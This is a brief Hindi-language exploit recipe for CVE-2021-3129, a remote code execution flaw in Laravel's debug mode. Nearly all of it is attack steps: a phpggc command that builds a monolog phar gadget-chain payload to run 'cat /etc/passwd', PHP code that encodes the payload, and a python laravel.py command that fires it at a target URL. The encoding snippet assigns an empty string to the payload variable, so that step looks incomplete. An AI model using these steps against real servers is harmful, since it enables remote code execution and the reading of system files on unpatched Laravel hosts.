
CVE-2021-3129-Laravel डीबग मोड
कस्टम कमांड के लिए phar पैकेज उत्पन्न करें:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0
php -a php कमांड लाइन वातावरण में प्रवेश करें
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
$size = "";
fwrite($fp, iconv('utf-8','utf-16le',$size));
उत्पन्न पेलोड को एक फ़ाइल में सहेजें, फिर स्क्रिप्ट का उपयोग करके निर्दिष्ट करें:
python laravel.py --url "http(s)://192.168.0.109:8000/" --phar test.phar